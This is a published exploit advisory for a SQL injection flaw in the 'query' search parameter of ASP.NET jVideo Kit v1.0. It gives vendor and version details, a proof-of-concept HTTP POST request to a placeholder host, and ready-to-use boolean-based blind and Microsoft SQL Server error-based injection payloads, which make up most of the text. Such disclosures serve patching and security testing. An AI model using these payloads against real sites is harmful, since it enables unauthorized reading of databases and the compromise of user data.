ASP.NET jVideo Kit - 'query' SQL Injection

# Exploit Title: ASP.NET jVideo Kit - 'query' SQL Injection
# Dork: N/A
# Date: 23.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor: MediaSoft Pro
# Vendor Homepage: https://www.mediasoftpro.com/video-sharing-script/mvc/
# Version: v1.0
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands
from the search section with 'query' parameter. You can use the GET or POST
methods.
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# PoC : SQLi :

# GET : http://test.com/search?query=[SQL]
# POST : http://test.com/search
POST /search HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://test.com/login
Cookie: ASP.NET_SessionId=wxim4xkwgxvhtu5k3pvevc3o;
__RequestVerificationToken=iuu_Y6Xm3aOzaKj3EfCyE_-eT-Ff_lRdBMBZzyFRszSTGdNcaY2w5pH7ck0WZ2egIX3R18UlpXkr8pe_kxw6Ic2g1M-Cmz4woLsU6RRMV3M1

Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Query=test


# Vulnerable Payload :

Parameter: query (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: query=test%' AND 3923=3923 AND '%'='

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING
clause (IN)
    Payload: query=test%' AND 1603 IN (SELECT
(CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN
(1603=1603) THEN CHAR(49) ELSE CHAR(48)
END))+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113))) AND '%'='


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